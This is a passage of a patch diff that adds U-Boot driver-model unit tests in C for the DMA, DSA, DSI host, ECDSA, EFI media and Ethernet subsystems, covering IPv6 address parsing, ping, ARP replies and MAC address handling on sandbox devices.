+ * Copyright (C) 2018 Texas Instruments Incorporated <www.ti.com>
+ * Grygorii Strashko <grygorii.strashko@ti.com>
+ */
+
+#include <dm.h>
+#include <malloc.h>
+#include <dm/test.h>
+#include <dma.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+static int dm_test_dma_m2m(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ struct dma dma_m2m;
+ u8 src_buf[512];
+ u8 dst_buf[512];
+ size_t len = 512;
+ int i;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_DMA, "dma", &dev));
+ ut_assertok(dma_get_by_name(dev, "m2m", &dma_m2m));
+
+ memset(dst_buf, 0, len);
+ for (i = 0; i < len; i++)
+ src_buf[i] = i;
+
+ ut_assertok(dma_memcpy(dst_buf, src_buf, len));
+ ut_asserteq_mem(src_buf, dst_buf, len);
+
+ return 0;
+}
+DM_TEST(dm_test_dma_m2m, UT_TESTF_SCAN_FDT);
+
+static int dm_test_dma(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ struct dma dma_tx, dma_rx;
+ u8 src_buf[512];
+ u8 dst_buf[512];
+ void *dst_ptr;
+ size_t len = 512;
+ u32 meta1, meta2;
+ int i;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_DMA, "dma", &dev));
+
+ ut_assertok(dma_get_by_name(dev, "tx0", &dma_tx));
+ ut_assertok(dma_get_by_name(dev, "rx0", &dma_rx));
+
+ ut_assertok(dma_enable(&dma_tx));
+ ut_assertok(dma_enable(&dma_rx));
+
+ memset(dst_buf, 0, len);
+ for (i = 0; i < len; i++)
+ src_buf[i] = i;
+ meta1 = 0xADADDEAD;
+ meta2 = 0;
+ dst_ptr = &dst_buf;
+
+ ut_assertok(dma_send(&dma_tx, src_buf, len, &meta1));
+
+ ut_asserteq(len, dma_receive(&dma_rx, &dst_ptr, &meta2));
+ ut_asserteq(0xADADDEAD, meta2);
+
+ ut_assertok(dma_disable(&dma_tx));
+ ut_assertok(dma_disable(&dma_rx));
+
+ ut_assertok(dma_free(&dma_tx));
+ ut_assertok(dma_free(&dma_rx));
+ ut_asserteq_mem(src_buf, dst_buf, len);
+
+ return 0;
+}
+DM_TEST(dm_test_dma, UT_TESTF_SCAN_FDT);
+
+static int dm_test_dma_rx(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ struct dma dma_tx, dma_rx;
+ u8 src_buf[512];
+ u8 dst_buf[512];
+ void *dst_ptr;
+ size_t len = 512;
+ u32 meta1, meta2;
+ int i;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_DMA, "dma", &dev));
+
+ ut_assertok(dma_get_by_name(dev, "tx0", &dma_tx));
+ ut_assertok(dma_get_by_name(dev, "rx0", &dma_rx));
+
+ ut_assertok(dma_enable(&dma_tx));
+ ut_assertok(dma_enable(&dma_rx));
+
+ memset(dst_buf, 0, len);
+ for (i = 0; i < len; i++)
+ src_buf[i] = i;
+ meta1 = 0xADADDEAD;
+ meta2 = 0;
+ dst_ptr = NULL;
+
+ ut_assertok(dma_prepare_rcv_buf(&dma_tx, dst_buf, len));
+
+ ut_assertok(dma_send(&dma_tx, src_buf, len, &meta1));
+
+ ut_asserteq(len, dma_receive(&dma_rx, &dst_ptr, &meta2));
+ ut_asserteq(0xADADDEAD, meta2);
+ ut_asserteq_ptr(dst_buf, dst_ptr);
+
+ ut_assertok(dma_disable(&dma_tx));
+ ut_assertok(dma_disable(&dma_rx));
+
+ ut_assertok(dma_free(&dma_tx));
+ ut_assertok(dma_free(&dma_rx));
+ ut_asserteq_mem(src_buf, dst_buf, len);
+
+ return 0;
+}
+DM_TEST(dm_test_dma_rx, UT_TESTF_SCAN_FDT);
diff --git a/test/dm/dsa.c b/test/dm/dsa.c
new file mode 100644
index 00000000000..c857106eaf4
--- /dev/null
+++ b/test/dm/dsa.c
@@ -0,0 +1,82 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * Copyright 2020-2021 NXP
+ */
+
+#include <net/dsa.h>
+#include <dm/test.h>
+#include <test/ut.h>
+#include <net.h>
+#include <dm/uclass-internal.h>
+#include <dm/device-internal.h>
+
+/* This test exercises the major dsa.h API functions, after making sure
+ * that the DSA ports and the master Eth are correctly probed.
+ */
+static int dm_test_dsa_probe(struct unit_test_state *uts)
+{
+ struct udevice *dev_dsa, *dev_port, *dev_master;
+ struct dsa_pdata *dsa_pdata;
+ enum uclass_id id;
+
+ id = uclass_get_by_name("dsa");
+ ut_assert(id == UCLASS_DSA);
+
+ ut_assertok(uclass_find_device_by_name(UCLASS_DSA, "dsa-test",
+ &dev_dsa));
+ ut_assertok(uclass_find_device_by_name(UCLASS_ETH, "dsa-test-eth",
+ &dev_master));
+ ut_assertok(device_probe(dev_master));
+
+ ut_assertok(uclass_find_device_by_name(UCLASS_ETH, "dsa-test@0",
+ &dev_port));
+ ut_assertok(device_probe(dev_port));
+
+ ut_assertok(uclass_find_device_by_name(UCLASS_ETH, "dsa-test@1",
+ &dev_port));
+ ut_assertok(device_probe(dev_port));
+
+ /* exercise DSA API */
+ dsa_pdata = dev_get_uclass_plat(dev_dsa);
+ ut_assertnonnull(dsa_pdata);
+ /* includes CPU port */
+ ut_assert(dsa_pdata->num_ports == 3);
+
+ ut_assertok(uclass_find_device_by_name(UCLASS_ETH, "lan0",
+ &dev_port));
+ ut_assertok(device_probe(dev_port));
+
+ ut_assertok(uclass_find_device_by_name(UCLASS_ETH, "lan1",
+ &dev_port));
+ ut_assertok(device_probe(dev_port));
+
+ dev_master = dsa_get_master(dev_dsa);
+ ut_assertnonnull(dev_master);
+ ut_asserteq_str("dsa-test-eth", dev_master->name);
+
+ return 0;
+}
+
+DM_TEST(dm_test_dsa_probe, UT_TESTF_SCAN_FDT);
+
+/* This test sends ping requests with the local address through each DSA port
+ * via the sandbox DSA master Eth.
+ */
+static int dm_test_dsa(struct unit_test_state *uts)
+{
+ net_ping_ip = string_to_ip("1.2.3.5");
+
+ env_set("ethact", "eth2");
+ ut_assertok(net_loop(PING));
+
+ env_set("ethact", "lan0");
+ ut_assertok(net_loop(PING));
+ env_set("ethact", "lan1");
+ ut_assertok(net_loop(PING));
+
+ env_set("ethact", "");
+
+ return 0;
+}
+
+DM_TEST(dm_test_dsa, UT_TESTF_SCAN_FDT);
diff --git a/test/dm/dsi_host.c b/test/dm/dsi_host.c
new file mode 100644
index 00000000000..68686a40d9f
--- /dev/null
+++ b/test/dm/dsi_host.c
@@ -0,0 +1,58 @@
+// SPDX-License-Identifier: GPL-2.0+ OR BSD-3-Clause
+/*
+ * Copyright (C) 2019 STMicroelectronics - All Rights Reserved
+ * Author(s): Yannick Fertre <yannick.fertre@st.com> for STMicroelectronics.
+ */
+
+#include <dm.h>
+#include <dsi_host.h>
+#include <asm/state.h>
+#include <asm/test.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+static int dm_test_dsi_host_phy_init(void *priv_data)
+{
+ return 0;
+}
+
+static void dm_test_dsi_host_phy_post_set_mode(void *priv_data,
+ unsigned long mode_flags)
+{
+}
+
+static int dm_test_dsi_host_phy_get_lane_mbps(void *priv_data,
+ struct display_timing *timings,
+ u32 lanes,
+ u32 format,
+ unsigned int *lane_mbps)
+{
+ return 0;
+}
+
+static const struct mipi_dsi_phy_ops dm_test_dsi_host_phy_ops = {
+ .init = dm_test_dsi_host_phy_init,
+ .get_lane_mbps = dm_test_dsi_host_phy_get_lane_mbps,
+ .post_set_mode = dm_test_dsi_host_phy_post_set_mode,
+};
+
+/* Test that dsi_host driver functions are called */
+static int dm_test_dsi_host(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ struct mipi_dsi_device device;
+ struct display_timing timings;
+ unsigned int max_data_lanes = 4;
+
+ ut_assertok(uclass_first_device_err(UCLASS_DSI_HOST, &dev));
+
+ ut_assertok(dsi_host_init(dev, &device, &timings, max_data_lanes,
+ &dm_test_dsi_host_phy_ops));
+
+ ut_assertok(dsi_host_enable(dev));
+
+ return 0;
+}
+
+DM_TEST(dm_test_dsi_host, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/ecdsa.c b/test/dm/ecdsa.c
new file mode 100644
index 00000000000..da535c98b59
--- /dev/null
+++ b/test/dm/ecdsa.c
@@ -0,0 +1,38 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+
+#include <crypto/ecdsa-uclass.h>
+#include <dm.h>
+#include <dm/test.h>
+#include <test/ut.h>
+#include <u-boot/ecdsa.h>
+
+/*
+ * Basic test of the ECDSA uclass and ecdsa_verify()
+ *
+ * ECDSA implementations in u-boot are hardware-dependent. Until we have a
+ * software implementation that can be compiled into the sandbox, all we can
+ * test is the uclass support.
+ *
+ * The uclass_get() test is redundant since ecdsa_verify() would also fail. We
+ * run both functions in order to isolate the cause more clearly. i.e. is
+ * ecdsa_verify() failing because the UCLASS is absent/broken?
+ */
+static int dm_test_ecdsa_verify(struct unit_test_state *uts)
+{
+ struct uclass *ucp;
+
+ struct checksum_algo algo = {
+ .checksum_len = 256,
+ };
+
+ struct image_sign_info info = {
+ .checksum = &algo,
+ };
+
+ ut_assertok(uclass_get(UCLASS_ECDSA, &ucp));
+ ut_assertnonnull(ucp);
+ ut_asserteq(-ENODEV, ecdsa_verify(&info, NULL, 0, NULL, 0));
+
+ return 0;
+}
+DM_TEST(dm_test_ecdsa_verify, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/efi_media.c b/test/dm/efi_media.c
new file mode 100644
index 00000000000..9d0ed0f0755
--- /dev/null
+++ b/test/dm/efi_media.c
@@ -0,0 +1,23 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Test for EFI_MEDIA uclass
+ *
+ * Copyright 2021 Google LLC
+ */
+
+#include <dm.h>
+#include <asm/test.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/* Test that we can use the EFI_MEDIA uclass */
+static int dm_test_efi_media(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ ut_assertok(uclass_first_device_err(UCLASS_EFI_MEDIA, &dev));
+
+ return 0;
+}
+DM_TEST(dm_test_efi_media, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/eth.c b/test/dm/eth.c
new file mode 100644
index 00000000000..820b8cbfc29
--- /dev/null
+++ b/test/dm/eth.c
@@ -0,0 +1,704 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * Copyright (c) 2015 National Instruments
+ *
+ * (C) Copyright 2015
+ * Joe Hershberger <joe.hershberger@ni.com>
+ */
+
+#include <dm.h>
+#include <env.h>
+#include <fdtdec.h>
+#include <log.h>
+#include <malloc.h>
+#include <net.h>
+#include <net6.h>
+#include <asm/eth.h>
+#include <dm/test.h>
+#include <dm/device-internal.h>
+#include <dm/uclass-internal.h>
+#include <test/test.h>
+#include <test/ut.h>
+#include <ndisc.h>
+
+#define DM_TEST_ETH_NUM 4
+
+#if IS_ENABLED(CONFIG_IPV6)
+static int dm_test_string_to_ip6(struct unit_test_state *uts)
+{
+ char *str;
+ struct test_ip6_pair {
+ char *string_addr;
+ struct in6_addr ip6_addr;
+ };
+
+ struct in6_addr ip6 = {0};
+
+ /* Correct statements */
+ struct test_ip6_pair test_suite[] = {
+ {"2001:db8::0:1234:1", {.s6_addr32[0] = 0xb80d0120,
+ .s6_addr32[1] = 0x00000000,
+ .s6_addr32[2] = 0x00000000,
+ .s6_addr32[3] = 0x01003412}},
+ {"2001:0db8:0000:0000:0000:0000:1234:0001",
+ {.s6_addr32[0] = 0xb80d0120,
+ .s6_addr32[1] = 0x00000000,
+ .s6_addr32[2] = 0x00000000,
+ .s6_addr32[3] = 0x01003412}},
+ {"::1", {.s6_addr32[0] = 0x00000000,
+ .s6_addr32[1] = 0x00000000,
+ .s6_addr32[2] = 0x00000000,
+ .s6_addr32[3] = 0x01000000}},
+ {"::ffff:192.168.1.1", {.s6_addr32[0] = 0x00000000,
+ .s6_addr32[1] = 0x00000000,
+ .s6_addr32[2] = 0xffff0000,
+ .s6_addr32[3] = 0x0101a8c0}},
+ };
+
+ for (int i = 0; i < ARRAY_SIZE(test_suite); ++i) {
+ ut_assertok(string_to_ip6(test_suite[i].string_addr,
+ strlen(test_suite[i].string_addr), &ip6));
+ ut_asserteq_mem(&ip6, &test_suite[i].ip6_addr,
+ sizeof(struct in6_addr));
+ }
+
+ /* Incorrect statements */
+ str = "hello:world";
+ ut_assertok(!string_to_ip6(str, strlen(str), &ip6));
+ str = "2001:db8::0::0";
+ ut_assertok(!string_to_ip6(str, strlen(str), &ip6));
+ str = "2001:db8:192.168.1.1::1";
+ ut_assertok(!string_to_ip6(str, strlen(str), &ip6));
+ str = "192.168.1.1";
+ ut_assertok(!string_to_ip6(str, strlen(str), &ip6));
+
+ return 0;
+}
+DM_TEST(dm_test_string_to_ip6, 0);
+
+static int dm_test_csum_ipv6_magic(struct unit_test_state *uts)
+{
+ unsigned short csum = 0xbeef;
+ /* Predefined correct parameters */
+ unsigned short correct_csum = 0xd8ac;
+ struct in6_addr saddr = {.s6_addr32[0] = 0x000080fe,
+ .s6_addr32[1] = 0x00000000,
+ .s6_addr32[2] = 0xffe9f242,
+ .s6_addr32[3] = 0xe8f66dfe};
+ struct in6_addr daddr = {.s6_addr32[0] = 0x000080fe,
+ .s6_addr32[1] = 0x00000000,
+ .s6_addr32[2] = 0xffd5b372,
+ .s6_addr32[3] = 0x3ef692fe};
+ u16 len = 1460;
+ unsigned short proto = 17;
+ unsigned int head_csum = 0x91f0;
+
+ csum = csum_ipv6_magic(&saddr, &daddr, len, proto, head_csum);
+ ut_asserteq(csum, correct_csum);
+
+ /* Broke a parameter */
+ proto--;
+ csum = csum_ipv6_magic(&saddr, &daddr, len, proto, head_csum);
+ ut_assert(csum != correct_csum);
+
+ return 0;
+}
+DM_TEST(dm_test_csum_ipv6_magic, 0);
+
+static int dm_test_ip6_addr_in_subnet(struct unit_test_state *uts)
+{
+ struct in6_addr our = {.s6_addr32[0] = 0x000080fe,
+ .s6_addr32[1] = 0x00000000,
+ .s6_addr32[2] = 0xffe9f242,
+ .s6_addr32[3] = 0xe8f66dfe};
+ struct in6_addr neigh1 = {.s6_addr32[0] = 0x000080fe,
+ .s6_addr32[1] = 0x00000000,
+ .s6_addr32[2] = 0xffd5b372,
+ .s6_addr32[3] = 0x3ef692fe};
+ struct in6_addr neigh2 = {.s6_addr32[0] = 0x60480120,
+ .s6_addr32[1] = 0x00006048,
+ .s6_addr32[2] = 0x00000000,
+ .s6_addr32[3] = 0x00008888};
+
+ /* in */
+ ut_assert(ip6_addr_in_subnet(&our, &neigh1, 64));
+ /* outside */
+ ut_assert(!ip6_addr_in_subnet(&our, &neigh2, 64));
+ ut_assert(!ip6_addr_in_subnet(&our, &neigh1, 128));
+
+ return 0;
+}
+DM_TEST(dm_test_ip6_addr_in_subnet, 0);
+
+static int dm_test_ip6_make_snma(struct unit_test_state *uts)
+{
+ struct in6_addr mult = {0};
+ struct in6_addr correct_addr = {
+ .s6_addr32[0] = 0x000002ff,
+ .s6_addr32[1] = 0x00000000,
+ .s6_addr32[2] = 0x01000000,
+ .s6_addr32[3] = 0xe8f66dff};
+ struct in6_addr addr = { .s6_addr32[0] = 0x000080fe,
+ .s6_addr32[1] = 0x00000000,
+ .s6_addr32[2] = 0xffe9f242,
+ .s6_addr32[3] = 0xe8f66dfe};
+
+ ip6_make_snma(&mult, &addr);
+ ut_asserteq_mem(&mult, &correct_addr, sizeof(struct in6_addr));
+
+ return 0;
+}
+DM_TEST(dm_test_ip6_make_snma, 0);
+
+static int dm_test_ip6_make_lladdr(struct unit_test_state *uts)
+{
+ struct in6_addr generated_lladdr = {0};
+ struct in6_addr correct_lladdr = {
+ .s6_addr32[0] = 0x000080fe,
+ .s6_addr32[1] = 0x00000000,
+ .s6_addr32[2] = 0xffabf33a,
+ .s6_addr32[3] = 0xfbb352fe};
+ const unsigned char mac[6] = {0x38, 0xf3, 0xab, 0x52, 0xb3, 0xfb};
+
+ ip6_make_lladdr(&generated_lladdr, mac);
+ ut_asserteq_mem(&generated_lladdr, &correct_lladdr,
+ sizeof(struct in6_addr));
+
+ return 0;
+}
+DM_TEST(dm_test_ip6_make_lladdr, UT_TESTF_SCAN_FDT);
+#endif
+
+static int dm_test_eth(struct unit_test_state *uts)
+{
+ net_ping_ip = string_to_ip("1.1.2.2");
+
+ env_set("ethact", "eth@10002000");
+ ut_assertok(net_loop(PING));
+ ut_asserteq_str("eth@10002000", env_get("ethact"));
+
+ env_set("ethact", "eth@10003000");
+ ut_assertok(net_loop(PING));
+ ut_asserteq_str("eth@10003000", env_get("ethact"));
+
+ env_set("ethact", "eth@10004000");
+ ut_assertok(net_loop(PING));
+ ut_asserteq_str("eth@10004000", env_get("ethact"));
+
+ return 0;
+}
+DM_TEST(dm_test_eth, UT_TESTF_SCAN_FDT);
+
+static int dm_test_eth_alias(struct unit_test_state *uts)
+{
+ net_ping_ip = string_to_ip("1.1.2.2");
+ env_set("ethact", "eth0");
+ ut_assertok(net_loop(PING));
+ ut_asserteq_str("eth@10002000", env_get("ethact"));
+
+ env_set("ethact", "eth6");
+ ut_assertok(net_loop(PING));
+ ut_asserteq_str("eth@10004000", env_get("ethact"));
+
+ /* Expected to fail since eth1 is not defined in the device tree */
+ env_set("ethact", "eth1");
+ ut_assertok(net_loop(PING));
+ ut_asserteq_str("eth@10002000", env_get("ethact"));
+
+ env_set("ethact", "eth5");
+ ut_assertok(net_loop(PING));
+ ut_asserteq_str("eth@10003000", env_get("ethact"));
+
+ return 0;
+}
+DM_TEST(dm_test_eth_alias, UT_TESTF_SCAN_FDT);
+
+static int dm_test_eth_prime(struct unit_test_state *uts)
+{
+ net_ping_ip = string_to_ip("1.1.2.2");
+
+ /* Expected to be "eth@10003000" because of ethprime variable */
+ env_set("ethact", NULL);
+ env_set("ethprime", "eth5");
+ ut_assertok(net_loop(PING));
+ ut_asserteq_str("eth@10003000", env_get("ethact"));
+
+ /* Expected to be "eth@10002000" because it is first */
+ env_set("ethact", NULL);
+ env_set("ethprime", NULL);
+ ut_assertok(net_loop(PING));
+ ut_asserteq_str("eth@10002000", env_get("ethact"));
+
+ return 0;
+}
+DM_TEST(dm_test_eth_prime, UT_TESTF_SCAN_FDT);
+
+/**
+ * This test case is trying to test the following scenario:
+ * - All ethernet devices are not probed
+ * - "ethaddr" for all ethernet devices are not set
+ * - "ethact" is set to a valid ethernet device name
+ *
+ * With Sandbox default test configuration, all ethernet devices are
+ * probed after power-up, so we have to manually create such scenario:
+ * - Remove all ethernet devices
+ * - Remove all "ethaddr" environment variables
+ * - Set "ethact" to the first ethernet device
+ *
+ * Do a ping test to see if anything goes wrong.
+ */
+static int dm_test_eth_act(struct unit_test_state *uts)
+{
+ struct udevice *dev[DM_TEST_ETH_NUM];
+ const char *ethname[DM_TEST_ETH_NUM] = {"eth@10002000", "eth@10003000",
+ "sbe5", "eth@10004000"};
+ const char *addrname[DM_TEST_ETH_NUM] = {"ethaddr", "eth5addr",
+ "eth3addr", "eth6addr"};
+ char ethaddr[DM_TEST_ETH_NUM][18];
+ int i;
+
+ memset(ethaddr, '\0', sizeof(ethaddr));
+ net_ping_ip = string_to_ip("1.1.2.2");
+
+ /* Prepare the test scenario */
+ for (i = 0; i < DM_TEST_ETH_NUM; i++) {
+ char *addr;
+
+ ut_assertok(uclass_find_device_by_name(UCLASS_ETH,
+ ethname[i], &dev[i]));
+ ut_assertok(device_remove(dev[i], DM_REMOVE_NORMAL));
+
+ /* Invalidate MAC address */
+ addr = env_get(addrname[i]);
+ ut_assertnonnull(addr);
+ strncpy(ethaddr[i], addr, 17);
+ /* Must disable access protection for ethaddr before clearing */
+ env_set(".flags", addrname[i]);
+ env_set(addrname[i], NULL);
+ }
+
+ /* Set ethact to "eth@10002000" */
+ env_set("ethact", ethname[0]);
+
+ /* Segment fault might happen if something is wrong */
+ ut_asserteq(-ENODEV, net_loop(PING));
+
+ for (i = 0; i < DM_TEST_ETH_NUM; i++) {
+ /* Restore the env */
+ env_set(".flags", addrname[i]);
+ env_set(addrname[i], ethaddr[i]);
+
+ /* Probe the device again */
+ ut_assertok(device_probe(dev[i]));
+ }
+ env_set(".flags", NULL);
+ env_set("ethact", NULL);
+
+ return 0;
+}
+DM_TEST(dm_test_eth_act, UT_TESTF_SCAN_FDT);
+
+/* Ensure that all addresses are loaded properly */
+static int dm_test_ethaddr(struct unit_test_state *uts)
+{
+ static const char *const addr[] = {
+ "02:00:11:22:33:44",
+ "02:00:11:22:33:48", /* dsa slave */
+ "02:00:11:22:33:45",
+ "02:00:11:22:33:48", /* dsa master */
+ "02:00:11:22:33:46",
+ "02:00:11:22:33:47",
+ "02:00:11:22:33:48", /* dsa slave */
+ "02:00:11:22:33:49",
+ };
+ int i;
+
+ for (i = 0; i < ARRAY_SIZE(addr); i++) {
+ char addrname[10];
+ char *env_addr;
+
+ if (i)
+ snprintf(addrname, sizeof(addrname), "eth%daddr", i + 1);
+ else
+ strcpy(addrname, "ethaddr");
+
+ env_addr = env_get(addrname);
+ ut_assertnonnull(env_addr);
+ ut_asserteq_str(addr[i], env_addr);
+ }
+
+ return 0;
+}
+DM_TEST(dm_test_ethaddr, UT_TESTF_SCAN_FDT);
+
+/* The asserts include a return on fail; cleanup in the caller */
+static int _dm_test_eth_rotate1(struct unit_test_state *uts)
+{
+ /* Make sure that the default is to rotate to the next interface */
+ env_set("ethact", "eth@10004000");
+ ut_assertok(net_loop(PING));
+ ut_asserteq_str("eth@10002000", env_get("ethact"));
+
+ /* If ethrotate is no, then we should fail on a bad MAC */
+ env_set("ethact", "eth@10004000");
+ env_set("ethrotate", "no");
+ ut_asserteq(-EINVAL, net_loop(PING));
+ ut_asserteq_str("eth@10004000", env_get("ethact"));
+
+ return 0;
+}
+
+static int _dm_test_eth_rotate2(struct unit_test_state *uts)
+{
+ /* Make sure we can skip invalid devices */
+ env_set("ethact", "eth@10004000");
+ ut_assertok(net_loop(PING));
+ ut_asserteq_str("eth@10004000", env_get("ethact"));
+
+ /* Make sure we can handle device name which is not eth# */
+ env_set("ethact", "sbe5");
+ ut_assertok(net_loop(PING));
+ ut_asserteq_str("sbe5", env_get("ethact"));
+
+ return 0;
+}
+
+static int dm_test_eth_rotate(struct unit_test_state *uts)
+{
+ char ethaddr[18];
+ int retval;
+
+ /* Set target IP to mock ping */
+ net_ping_ip = string_to_ip("1.1.2.2");
+
+ /* Invalidate eth1's MAC address */
+ memset(ethaddr, '\0', sizeof(ethaddr));
+ strncpy(ethaddr, env_get("eth6addr"), 17);
+ /* Must disable access protection for eth6addr before clearing */
+ env_set(".flags", "eth6addr");
+ env_set("eth6addr", NULL);
+
+ retval = _dm_test_eth_rotate1(uts);
+
+ /* Restore the env */
+ env_set("eth6addr", ethaddr);
+ env_set("ethrotate", NULL);
+
+ if (!retval) {
+ /* Invalidate eth0's MAC address */
+ strncpy(ethaddr, env_get("ethaddr"), 17);
+ /* Must disable access protection for ethaddr before clearing */
+ env_set(".flags", "ethaddr");
+ env_set("ethaddr", NULL);
+
+ retval = _dm_test_eth_rotate2(uts);
+
+ /* Restore the env */
+ env_set("ethaddr", ethaddr);
+ }
+ /* Restore the env */
+ env_set(".flags", NULL);
+
+ return retval;
+}
+DM_TEST(dm_test_eth_rotate, UT_TESTF_SCAN_FDT);
+
+/* The asserts include a return on fail; cleanup in the caller */
+static int _dm_test_net_retry(struct unit_test_state *uts)
+{
+ /*
+ * eth1 is disabled and netretry is yes, so the ping should succeed and
+ * the active device should be eth0
+ */
+ sandbox_eth_disable_response(1, true);
+ env_set("ethact", "lan1");
+ env_set("netretry", "yes");
+ sandbox_eth_skip_timeout();
+ ut_assertok(net_loop(PING));
+ ut_asserteq_str("eth@10002000", env_get("ethact"));
+
+ /*
+ * eth1 is disabled and netretry is no, so the ping should fail and the
+ * active device should be eth1
+ */
+ env_set("ethact", "lan1");
+ env_set("netretry", "no");
+ sandbox_eth_skip_timeout();
+ ut_asserteq(-ENONET, net_loop(PING));
+ ut_asserteq_str("lan1", env_get("ethact"));
+
+ return 0;
+}
+
+static int dm_test_net_retry(struct unit_test_state *uts)
+{
+ int retval;
+
+ net_ping_ip = string_to_ip("1.1.2.2");
+
+ retval = _dm_test_net_retry(uts);
+
+ /* Restore the env */
+ env_set("netretry", NULL);
+ sandbox_eth_disable_response(1, false);
+
+ return retval;
+}
+DM_TEST(dm_test_net_retry, UT_TESTF_SCAN_FDT);
+
+static int sb_check_arp_reply(struct udevice *dev, void *packet,
+ unsigned int len)
+{
+ struct eth_sandbox_priv *priv = dev_get_priv(dev);
+ struct ethernet_hdr *eth = packet;
+ struct arp_hdr *arp;
+ /* Used by all of the ut_assert macros */
+ struct unit_test_state *uts = priv->priv;
+
+ if (ntohs(eth->et_protlen) != PROT_ARP)
+ return 0;
+
+ arp = packet + ETHER_HDR_SIZE;
+
+ if (ntohs(arp->ar_op) != ARPOP_REPLY)
+ return 0;
+
+ /* This test would be worthless if we are not waiting */
+ ut_assert(arp_is_waiting());
+
+ /* Validate response */
+ ut_asserteq_mem(eth->et_src, net_ethaddr, ARP_HLEN);
+ ut_asserteq_mem(eth->et_dest, priv->fake_host_hwaddr, ARP_HLEN);
+ ut_assert(eth->et_protlen == htons(PROT_ARP));
+
+ ut_assert(arp->ar_hrd == htons(ARP_ETHER));
+ ut_assert(arp->ar_pro == htons(PROT_IP));
+ ut_assert(arp->ar_hln == ARP_HLEN);
+ ut_assert(arp->ar_pln == ARP_PLEN);
+ ut_asserteq_mem(&arp->ar_sha, net_ethaddr, ARP_HLEN);
+ ut_assert(net_read_ip(&arp->ar_spa).s_addr == net_ip.s_addr);
+ ut_asserteq_mem(&arp->ar_tha, priv->fake_host_hwaddr, ARP_HLEN);
+ ut_assert(net_read_ip(&arp->ar_tpa).s_addr ==
+ string_to_ip("1.1.2.4").s_addr);
+
+ return 0;
+}
+
+static int sb_with_async_arp_handler(struct udevice *dev, void *packet,
+ unsigned int len)
+{
+ struct eth_sandbox_priv *priv = dev_get_priv(dev);
+ struct ethernet_hdr *eth = packet;
+ struct arp_hdr *arp = packet + ETHER_HDR_SIZE;
+ int ret;
+
+ /*
+ * If we are about to generate a reply to ARP, first inject a request
+ * from another host
+ */
+ if (ntohs(eth->et_protlen) == PROT_ARP &&
+ ntohs(arp->ar_op) == ARPOP_REQUEST) {
+ /* Make sure sandbox_eth_recv_arp_req() knows who is asking */
+ priv->fake_host_ipaddr = string_to_ip("1.1.2.4");
+
+ ret = sandbox_eth_recv_arp_req(dev);
+ if (ret)
+ return ret;
+ }
+
+ sandbox_eth_arp_req_to_reply(dev, packet, len);
+ sandbox_eth_ping_req_to_reply(dev, packet, len);
+
+ return sb_check_arp_reply(dev, packet, len);
+}
+
+static int dm_test_eth_async_arp_reply(struct unit_test_state *uts)
+{
+ net_ping_ip = string_to_ip("1.1.2.2");
+
+ sandbox_eth_set_tx_handler(0, sb_with_async_arp_handler);
+ /* Used by all of the ut_assert macros in the tx_handler */
+ sandbox_eth_set_priv(0, uts);
+
+ env_set("ethact", "eth@10002000");
+ ut_assertok(net_loop(PING));
+ ut_asserteq_str("eth@10002000", env_get("ethact"));
+
+ sandbox_eth_set_tx_handler(0, NULL);
+
+ return 0;
+}
+
+DM_TEST(dm_test_eth_async_arp_reply, UT_TESTF_SCAN_FDT);
+
+static int sb_check_ping_reply(struct udevice *dev, void *packet,
+ unsigned int len)
+{
+ struct eth_sandbox_priv *priv = dev_get_priv(dev);
+ struct ethernet_hdr *eth = packet;
+ struct ip_udp_hdr *ip;
+ struct icmp_hdr *icmp;
+ /* Used by all of the ut_assert macros */
+ struct unit_test_state *uts = priv->priv;
+
+ if (ntohs(eth->et_protlen) != PROT_IP)
+ return 0;
+
+ ip = packet + ETHER_HDR_SIZE;
+
+ if (ip->ip_p != IPPROTO_ICMP)
+ return 0;
+
+ icmp = (struct icmp_hdr *)&ip->udp_src;
+
+ if (icmp->type != ICMP_ECHO_REPLY)
+ return 0;
+
+ /* This test would be worthless if we are not waiting */
+ ut_assert(arp_is_waiting());
+
+ /* Validate response */
+ ut_asserteq_mem(eth->et_src, net_ethaddr, ARP_HLEN);
+ ut_asserteq_mem(eth->et_dest, priv->fake_host_hwaddr, ARP_HLEN);
+ ut_assert(eth->et_protlen == htons(PROT_IP));
+
+ ut_assert(net_read_ip(&ip->ip_src).s_addr == net_ip.s_addr);
+ ut_assert(net_read_ip(&ip->ip_dst).s_addr ==
+ string_to_ip("1.1.2.4").s_addr);
+
+ return 0;
+}
+
+static int sb_with_async_ping_handler(struct udevice *dev, void *packet,
+ unsigned int len)
+{
+ struct eth_sandbox_priv *priv = dev_get_priv(dev);
+ struct ethernet_hdr *eth = packet;
+ struct arp_hdr *arp = packet + ETHER_HDR_SIZE;
+ int ret;
+
+ /*
+ * If we are about to generate a reply to ARP, first inject a request
+ * from another host
+ */
+ if (ntohs(eth->et_protlen) == PROT_ARP &&
+ ntohs(arp->ar_op) == ARPOP_REQUEST) {
+ /* Make sure sandbox_eth_recv_arp_req() knows who is asking */
+ priv->fake_host_ipaddr = string_to_ip("1.1.2.4");
+
+ ret = sandbox_eth_recv_ping_req(dev);
+ if (ret)
+ return ret;
+ }
+
+ sandbox_eth_arp_req_to_reply(dev, packet, len);
+ sandbox_eth_ping_req_to_reply(dev, packet, len);
+
+ return sb_check_ping_reply(dev, packet, len);
+}
+
+static int dm_test_eth_async_ping_reply(struct unit_test_state *uts)
+{
+ net_ping_ip = string_to_ip("1.1.2.2");
+
+ sandbox_eth_set_tx_handler(0, sb_with_async_ping_handler);
+ /* Used by all of the ut_assert macros in the tx_handler */
